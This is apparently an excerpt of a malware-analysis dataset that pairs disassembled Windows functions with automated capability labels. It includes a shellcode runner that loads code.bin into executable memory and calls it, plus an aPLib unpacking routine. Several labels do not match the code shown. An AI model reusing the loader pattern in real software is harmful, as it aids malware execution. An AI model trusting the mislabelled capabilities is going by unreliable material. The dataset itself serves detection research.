joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1801148a0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbx
push rbp
push rsi
push r12
push r13
push r15
sub rsp, 0x28
lea rbp, [rcx + 0x3c]
xor r12d, r12d
xor r13d, r13d
mov r15, r8
mov rbx, rdx
mov rsi, rcx
cmp dword [rbp], r12d
jne 0x180114aaf
mov qword [rsp + 0x20], r14
xor r14d, r14d
mov qword [rsp + 0x70], rdi
test r13d, r13d
jne 0x180114aa5
mov rax, qword [rbx + 0x58]
lea rdi, [r14 + rax]
mov rax, qword [rsi]
mov ecx, dword [rax + 0x88]
cmp dword [rdi + 0x18], ecx
jl 0x180114a29
mov rax, qword [rdi + 0x10]
mov byte [rax], 1
movsxd rcx, dword [rbx]
mov r9d, dword [rdi + 0x18]
mov r8, qword [rdi + 0x10]
shl rcx, 6
movsxd rax, r12d
lea rdx, [rcx + rax + 0x20]
movsxd rax, dword [rdi]
mov rcx, rsi
shl rdx, 0x1f
add rdx, rax
call fcn.18010e3b0
lea r8d, [r12 + 2]
mov rdx, rbx
mov rcx, rsi
call fcn.1801145f0
mov r11, qword [rbx + 0x58]
lea rdi, [r14 + r11]
cmp dword [rbp], r13d
jne 0x180114a17
cmp dword [rdi + 0x38], r13d
jne 0x180114a17
mov r11, qword [rdi + 0x10]
movzx r8d, byte [r11 + 1]
lea rcx, [r11 + 1]
test r8b, r8b
js 0x18011497e
mov eax, r8d
mov qword [rsp + 0x78], rax
mov al, 1
jmp 0x180114988
lea rdx, [rsp + 0x78]
call fcn.180126a80
movzx eax, al
inc eax
movsxd rcx, eax
add rcx, r11
movzx r8d, byte [rcx]
test r8b, r8b
js 0x1801149a6
mov esi, r8d
mov qword [rsp + 0x78], r8
jmp 0x1801149b5
lea rdx, [rsp + 0x78]
call fcn.180126a80
mov rsi, qword [rsp + 0x78]
mov eax, dword [rdi]
mov dword [rdi + 0x20], eax
mov r8d, dword [rdi + 0x38]
mov eax, dword [rdi + 0x3c]
add r8d, 9
cmp eax, r8d
jae 0x1801149da
lea rdx, [rdi + 0x30]
mov rcx, rbp
call fcn.180105e40
test eax, eax
jne 0x1801149e9
movsxd rcx, dword [rdi + 0x38]
mov rax, qword [rdi + 0x30]
mov byte [rcx + rax], 0
inc dword [rdi + 0x38]
movsxd r8, dword [rdi]
lea rdx, [rdi + 0x30]
mov rcx, rbp
call fcn.180105ed0
lea rdx, [rdi + 0x30]
mov r8, rsi
mov rcx, rbp
call fcn.180105ed0
mov rbx, qword [rsp + 0x68]
mov dword [rdi + 0x24], 1
mov qword [rdi + 0x28], rsi
inc dword [rdi]
mov dword [rdi + 0x18], 0
mov dword [rdi + 4], 0
jmp 0x180114a2f
mov r13d, 1
cmp dword [rdi + 4], 0
je 0x180114a3e
mov r8, r15
sub r8, qword [rdi + 8]
jmp 0x180114a73
test r12d, r12d
jne 0x180114a48
mov esi, dword [rbx + 8]
jmp 0x180114a4b
mov esi, dword [rdi - 0x20]
xor r8d, r8d
test r13d, r13d
lea rdx, [rdi + 0x10]
sete r8b
mov rcx, rbp
call fcn.180105ed0
lea rdx, [rdi + 0x10]
movsxd r8, esi
mov rcx, rbp
call fcn.180105ed0
mov r8, r15
lea rdx, [rdi + 0x10]
mov rcx, rbp
call fcn.180105ed0
mov rbx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x60]
mov dword [rdi + 4], 1
mov qword [rdi + 8], r15
inc r12d
add r14, 0x20
cmp dword [rbp], 0
je 0x1801148e1
mov rdi, qword [rsp + 0x70]
mov r14, qword [rsp + 0x20]
add rsp, 0x28
pop r15
pop r13
pop r12
pop rsi
pop rbp
pop rbx
ret
Function at 0x180117050
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rsi
push rdi
sub rsp, 0x50
mov rbx, rcx
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, r8
mov rsi, r9
xor r9d, r9d
repne scasb al, byte [rdi]
lea rax, [r11 + 8]
mov qword [r11 + 8], r9
mov qword [r11 - 0x18], rax
mov dword [r11 - 0x20], r9d
not rcx
dec rcx
mov dword [rsp + 0x30], 0xffffffff
mov dword [rsp + 0x28], ecx
mov qword [r11 - 0x38], r8
lea r8d, [r9 + 0x40]
mov rcx, rbx
call fcn.180113dc0
cmp dword [rbx + 0x3c], 0
mov rdi, qword [rsp + 0x60]
jne 0x180117110
cmp byte [rdi + 0x14], 0
jne 0x180117110
mov rax, qword [rdi + 0x58]
movzx ecx, word [rax + 4]
imul rcx, rcx, 0x88
cmp qword [rcx + rdi + 0xd8], rsi
jge 0x1801170de
mov r8, rsi
mov rdx, rdi
mov rcx, rbx
call fcn.180114250
cmp dword [rbx + 0x3c], 0
jne 0x180117110
cmp byte [rdi + 0x14], 0
jne 0x180117110
mov rax, qword [rdi + 0x58]
movzx ecx, word [rax + 4]
imul rcx, rcx, 0x88
cmp rsi, qword [rcx + rdi + 0xd8]
jne 0x180117110
lea rdx, [rcx + rdi + 0x60]
mov rcx, rbx
call fcn.180116700
mov rcx, rdi
mov rbx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
jmp fcn.180112700
Function at 0x1801210a0
Capabilities:
Reference sql statements

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x50
mov r13, qword [rcx]
xor ebp, ebp
xor ebx, ebx
mov r14, r8
mov r12, rdx
mov r15, rcx
lea esi, [rbp + 1]
test r8, r8
jne 0x18012117e
cmp qword [rcx + 0x38], rbx
lea rdi, [rcx + 0x38]
jne 0x180121144
mov r9, qword [r13 + 0x50]
mov r8, qword [r13 + 0x48]
mov rdx, qword [r13 + 0x60]
lea rcx, str.SELECT__s_FROM__s_T_WHERE_T._Q_
call sym.sqlite.dll_sqlite3_mprintf
mov rbp, rax
test rax, rax
jne 0x180121107
lea ebx, [rsi + 6]
jmp 0x180121144
mov rax, qword [r15]
mov r9d, 0x81
or r8d, 0xffffffff
inc dword [rax + 0x78]
mov rcx, qword [r13]
xor eax, eax
mov qword [rsp + 0x30], rax
mov rdx, rbp
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rax
call fcn.180088370
mov rcx, rbp
mov ebx, eax
mov rax, qword [r15]
dec dword [rax + 0x78]
call sym.sqlite.dll_sqlite3_free
mov rbp, qword [rdi]
mov rcx, rbp
call sym.sqlite.dll_sqlite3_reset
test ebx, ebx
jne 0x1801212af
mov r8, r12
mov edx, esi
mov rcx, rbp
call sym.sqlite.dll_sqlite3_bind_int64
mov rcx, rbp
call sym.sqlite.dll_sqlite3_step
cmp eax, 0x64
je 0x18012117e
mov rcx, rbp
call sym.sqlite.dll_sqlite3_reset
jmp 0x1801212b1
mov qword [rsp + 0x40], r15
mov dword [rsp + 0x48], 0xffffffff
mov r12, rsi
xor edi, edi
mov eax, 0x10b
mov r8d, 0x202
nop dword [rax + rax]
cmp esi, dword [r13 + 0x18]
jg 0x1801212cf
mov rax, qword [r13 + 0x28]
cmp byte [rax + r12 - 1], 0
jne 0x180121288
test rbp, rbp
je 0x1801211d8
mov edx, esi
mov rcx, rbp
call sym.sqlite.dll_sqlite3_column_text
mov edx, esi
mov rcx, rbp
mov rbx, rax
call sym.sqlite.dll_sqlite3_column_bytes
jmp 0x180121227
test r14, r14
je 0x180121288
mov rcx, qword [rdi + r14]
test rcx, rcx
jne 0x1801211ee
xor ebx, ebx
jmp 0x18012121e
movzx edx, word [rcx + 0x14]
movzx eax, dx
and ax, r8w
cmp ax, r8w
jne 0x18012120b
cmp byte [rcx + 0x16], 1
jne 0x18012120b
mov rbx, qword [rcx + 8]
jmp 0x18012121e
test dl, 1
je 0x180121214
xor ebx, ebx
jmp 0x18012121e
mov dl, 1
call fcn.180034790
mov rbx, rax
mov rcx, qword [rdi + r14]
call sym.sqlite.dll_sqlite3_value_bytes
mov r11d, eax
xor eax, eax
mov dword [rsp + 0x4c], eax
test rbx, rbx
je 0x180121265
mov rax, qword [r13 + 0x70]
lea rcx, [0x180121050]
lea rdx, [rsp + 0x40]
mov qword [rsp + 0x28], rcx
mov rcx, qword [r13 + 0x68]
mov r9, rbx
mov r8d, 4
mov dword [rsp + 0x20], r11d
call qword [rax + 0x10]
mov ebx, eax
mov eax, dword [rsp + 0x4c]
mov rcx, qword [r15 + 0x20]
cdqe
mov r8d, 0x202
sub qword [rcx + rdi], rax
mov rax, qword [r15 + 0x20]
cmp qword [rdi + rax], 0
mov eax, 0x10b
cmovl ebx, eax
jmp 0x18012128d
mov eax, 0x10b
inc esi
inc r12
add rdi, 8
test ebx, ebx
je 0x1801211a0
dec qword [r15 + 0x18]
mov rcx, rbp
call sym.sqlite.dll_sqlite3_reset
test ebx, ebx
cmove ebx, eax
mov eax, ebx
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
test ebx, ebx
jne 0x18012129e
cmp qword [r15 + 0x18], 1
jge 0x18012129e
mov ebx, eax
jmp 0x1801212a2
Function at 0x1801212e0
Capabilities:
Reference sql statements

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
sub rsp, 0x40
xor edi, edi
lea rbx, [rcx + 0x68]
mov r12, rdx
mov esi, edi
mov rbp, rcx
cmp qword [rbx], rsi
jne 0x180121384
mov rsi, qword [rcx]
lea rax, str._origin
lea rdx, [0x180144af4]
cmp dword [rsi + 0x44], edi
mov r9, qword [rsi + 0x10]
mov r8, qword [rsi + 8]
lea rcx, str.SELECT_sz_s_FROM__Q._q_docsize_WHERE_id_
cmovne rdx, rax
mov qword [rsp + 0x60], r13
call sym.sqlite.dll_sqlite3_mprintf
mov r13, rax
test rax, rax
jne 0x180121343
lea esi, [rdi + 7]
jmp 0x18012137f
mov rax, qword [rbp]
mov qword [rsp + 0x30], rdi
mov r9d, 0x85
inc dword [rax + 0x78]
mov rcx, qword [rsi]
or r8d, 0xffffffff
mov rdx, r13
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rdi
call fcn.180088370
mov rcx, r13
mov esi, eax
mov rax, qword [rbp]
dec dword [rax + 0x78]
call sym.sqlite.dll_sqlite3_free
mov r13, qword [rsp + 0x60]
mov rbx, qword [rbx]
mov rcx, rbx
call sym.sqlite.dll_sqlite3_reset
test esi, esi
jne 0x1801213de
lea edx, [rsi + 1]
mov r8, r12
mov rcx, rbx
call sym.sqlite.dll_sqlite3_bind_int64
mov rcx, rbx
call sym.sqlite.dll_sqlite3_step
cmp eax, 0x64
jne 0x1801213bc
lea edx, [rsi + 1]
mov rcx, rbx
call sym.sqlite.dll_sqlite3_column_int64
mov rdi, rax
mov rcx, rbx
call sym.sqlite.dll_sqlite3_reset
test eax, eax
jne 0x1801213e0
test rdi, rdi
je 0x1801213e0
mov rcx, qword [rbp + 8]
mov r8, r12
mov rdx, rdi
call fcn.18011a8b0
jmp 0x1801213e0
mov eax, esi
mov rbx, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x70]
add rsp, 0x40
pop r12
pop rdi
pop rsi
ret
Function at 0x180122f80
Capabilities:
Reference sql statements

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov rdi, qword [rcx]
xor r12d, r12d
lea rbp, [rcx + 0x68]
mov r15d, dword [rdi + 0x18]
mov ebx, r12d
mov r14, r8
mov r13, rdx
mov rsi, rcx
cmp qword [rbp], rbx
jne 0x180123031
cmp dword [rdi + 0x44], ebx
mov r9, qword [rdi + 0x10]
mov r8, qword [rdi + 8]
lea rax, str._origin
lea rdx, [0x180144af4]
lea rcx, str.SELECT_sz_s_FROM__Q._q_docsize_WHERE_id_
cmovne rdx, rax
call sym.sqlite.dll_sqlite3_mprintf
mov r12, rax
test rax, rax
jne 0x180122ff2
lea ebx, [rax + 7]
jmp 0x18012302e
mov rax, qword [rsi]
mov r9d, 0x85
or r8d, 0xffffffff
inc dword [rax + 0x78]
mov rcx, qword [rdi]
xor eax, eax
mov qword [rsp + 0x30], rax
mov rdx, r12
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rax
call fcn.180088370
mov rcx, r12
mov ebx, eax
mov rax, qword [rsi]
dec dword [rax + 0x78]
call sym.sqlite.dll_sqlite3_free
xor r12d, r12d
mov rdi, qword [rbp]
mov rcx, rdi
call sym.sqlite.dll_sqlite3_reset
test rdi, rdi
je 0x1801230a7
mov esi, 1
mov r8, r13
mov rcx, rdi
mov edx, esi
call sym.sqlite.dll_sqlite3_bind_int64
mov rcx, rdi
call sym.sqlite.dll_sqlite3_step
cmp eax, 0x64
jne 0x18012308f
xor edx, edx
mov rcx, rdi
call sym.sqlite.dll_sqlite3_column_blob
xor edx, edx
mov rcx, rdi
mov rbx, rax
call sym.sqlite.dll_sqlite3_column_bytes
mov r8, rbx
mov edx, r15d
mov rcx, r14
mov r9d, eax
call fcn.180122e70
test eax, eax
cmove esi, r12d
mov rcx, rdi
call sym.sqlite.dll_sqlite3_reset
test esi, esi
je 0x1801230a9
mov ecx, 0x10b
test eax, eax
cmove eax, ecx
jmp 0x1801230a9
mov eax, ebx
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x80]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x1801263b0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rdi
sub rsp, 0x20
mov edi, edx
mov r8d, ecx
cmp ecx, 0x80
jge 0x1801263dc
lea eax, [rcx - 0x41]
cmp eax, 0x19
ja 0x1801263d4
lea eax, [rcx + 0x20]
add rsp, 0x20
pop rdi
ret
mov eax, ecx
add rsp, 0x20
pop rdi
ret
cmp ecx, 0x10000
jge 0x1801264b3
mov qword [rsp + 0x30], rbx
xor ebx, ebx
mov qword [rsp + 0x38], rsi
mov r9d, 0xa2
or r11d, 0xffffffff
lea rsi, [0x180000000]
mov r10d, ebx
nop dword [rax + rax]
lea eax, [r10 + r9]
cdq
sub eax, edx
sar eax, 1
movsxd rcx, eax
movzx edx, word [rsi + rcx*4 + 0x14c680]
cmp r8d, edx
js 0x180126432
mov r11d, eax
lea r10d, [rax + 1]
jmp 0x180126436
lea r9d, [rax - 1]
cmp r9d, r10d
jge 0x180126410
movsxd rdx, r11d
movzx ecx, word [rsi + rdx*4 + 0x14c680]
movzx eax, byte [rsi + rdx*4 + 0x14c683]
add eax, ecx
cmp r8d, eax
jge 0x180126482
movzx r9d, byte [rsi + rdx*4 + 0x14c682]
xor ecx, r8d
mov eax, r9d
and eax, 1
and eax, ecx
test al, al
jne 0x180126482
mov eax, r9d
shr rax, 1
movzx eax, word [rsi + rax*2 + 0x14c910]
add eax, r8d
movzx r8d, ax
mov rsi, qword [rsp + 0x38]
test edi, edi
je 0x1801264a5
cmp edi, 2
mov ecx, r8d
sete bl
mov edx, ebx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp fcn.1800e6200
mov eax, r8d
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
lea eax, [rcx - 0x10400]
cmp eax, 0x27
ja 0x1801263d4
lea eax, [rcx + 0x28]
add rsp, 0x20
pop rdi
ret

Function at 0x18012c70f
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x1801715d0]
jne 0x18012859a
rol rcx, 0x10
test cx, 0xffff
jne 0x180128596
repz ret
ror rcx, 0x10
jmp 0x18012c668
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x180178c20]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x180178d18]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x18012c6ed
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x180178c20]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x18012c70f
mov rax, qword [rsp + 0x88]
mov qword [0x180178d18], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x180178cb8], rax
mov rax, qword [0x180178d18]
mov qword [0x180178b90], rax
mov rax, qword [rsp + 0x90]
mov qword [0x180178ca0], rax
mov dword [0x180178b80], 0xc0000409
mov dword [0x180178b84], 1
mov rax, qword [0x1801715d0]
mov qword [rsp + 0x68], rax
mov rax, qword [0x1801715d8]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x180178c18], eax
mov ecx, 1
call fcn.180134c60
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x18013e5d0]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x180178c18], 0
jne 0x18012c796
mov ecx, 1
call fcn.180134c60
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x180137b98
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x1801715d0]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.18012d610
xor ebx, ebx
cmp qword [0x180179c50], rbx
mov rdi, rax
jne 0x180137cab
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x180137d82
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x180137d82
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x180179c50], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x180179c58], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x180179c60], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x180179c70], rax
test rax, rax
je 0x180137ca2
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x180179c68], rax
jmp 0x180137cb2
mov rax, qword [0x180179c68]
jmp 0x180137cb9
mov rax, qword [0x180179c68]
mov r11, qword [0x180179c70]
cmp rax, rdi
je 0x180137d20
cmp r11, rdi
je 0x180137d20
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x180179c70]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x180137d20
test rax, rax
je 0x180137d20
call rsi
test rax, rax
je 0x180137d1a
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x180137d1a
test byte [rsp + 0x40], 1
jne 0x180137d20
bts ebp, 0x15
jmp 0x180137d60
mov rcx, qword [0x180179c58]
cmp rcx, rdi
je 0x180137d60
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x180137d60
call rax
mov rbx, rax
test rax, rax
je 0x180137d60
mov rcx, qword [0x180179c60]
cmp rcx, rdi
je 0x180137d60
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x180137d60
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x180179c50]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x180137d82
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x180137d84
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.180128580
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140011366
Capabilities:
Terminate process

Disassembly:
jmp 0x14001e620
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x1404860b0
Capabilities:
Decompress data using aplib

Disassembly:
call 0x140486237
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1404860e1
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1404860c7
add dl, dl
jne 0x1404860ee
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14048614e
xor eax, eax
add dl, dl
jne 0x1404860fd
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140486205
add dl, dl
jne 0x14048610e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14048611b
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140486128
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140486135
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140486142
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1404860d6
mov eax, 1
add dl, dl
jne 0x14048615e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14048616b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140486153
sub eax, ebx
mov ebx, 1
jne 0x1404861a4
mov ecx, 1
add dl, dl
jne 0x140486186
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140486193
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14048617b
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1404860d6
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1404861c0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1404861cd
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1404861b5
cmp eax, 0x7d00
jae 0x1404861f3
cmp eax, 0x500
jb 0x1404861ee
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1404860d6
cmp eax, 0x7f
ja 0x1404861f6
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1404860d6
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x14048622a
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1404860d6
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Read file on windows
Terminate process

Disassembly:
push rdi
sub rsp, 0x20
lea rdx, [0x1400022a0]
lea rcx, str.C:UsersdellDesktopcodecode.bin
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rdi, rax
test rax, rax
jne 0x1400010a7
lea rcx, str.Invalid_file_path____n
call fcn.140001010
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xor edx, edx
mov qword [rsp + 0x30], rbx
mov rcx, rdi
mov qword [rsp + 0x38], rsi
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov rcx, rdi
movsxd rbx, eax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_rewind]
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rbx
xor ecx, ecx
mov rsi, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x140001120
lea rcx, str.Failed_to_allocate_memory
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_perror]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rsi, qword [rsp + 0x38]
lea eax, [rbx + 1]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
mov r9, rdi
mov r8, rsi
mov edx, 1
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
call rbx
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rbx, qword [rsp + 0x30]
xor eax, eax
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x140001a54
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001a9e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001a9e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001a9e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001a9e
cmp dword [rcx + 0x84], 0xe
jbe 0x140001a9e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001aa0
xor al, al
add rsp, 0x28
ret
Function at 0x14002934c
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.14001c944
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.14001c944
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x14002949c
cmp rax, 0xffffffffffffffff
je 0x14002949c
xor edi, edi
test rbp, rbp
jle 0x140029447
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.14001f258
mov rbx, rax
test rax, rax
jne 0x1400293d4
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x14002943d
mov edx, 0x8000
mov ecx, r14d
call fcn.14001a278
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.14001d620
cmp eax, 0xffffffff
je 0x14002941d
cdqe
sub rbp, rax
test rbp, rbp
jg 0x1400293e4
mov edx, r15d
mov ecx, r14d
call fcn.14001a278
jmp 0x14002943d
cmp byte [rsi + 0x38], dil
je 0x140029434
cmp dword [rsi + 0x34], 5
jne 0x140029434
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x14002943d
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.14001b00c
jmp 0x1400294b0
jns 0x1400294b0
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.14001c944
cmp rax, 0xffffffffffffffff
jne 0x140029468
cmp byte [rsi + 0x30], dil
je 0x1400294b0
mov edi, dword [rsi + 0x2c]
jmp 0x1400294b0
mov ecx, r14d
call fcn.140018730
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x1400294b0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x1400294b0
xor edi, edi
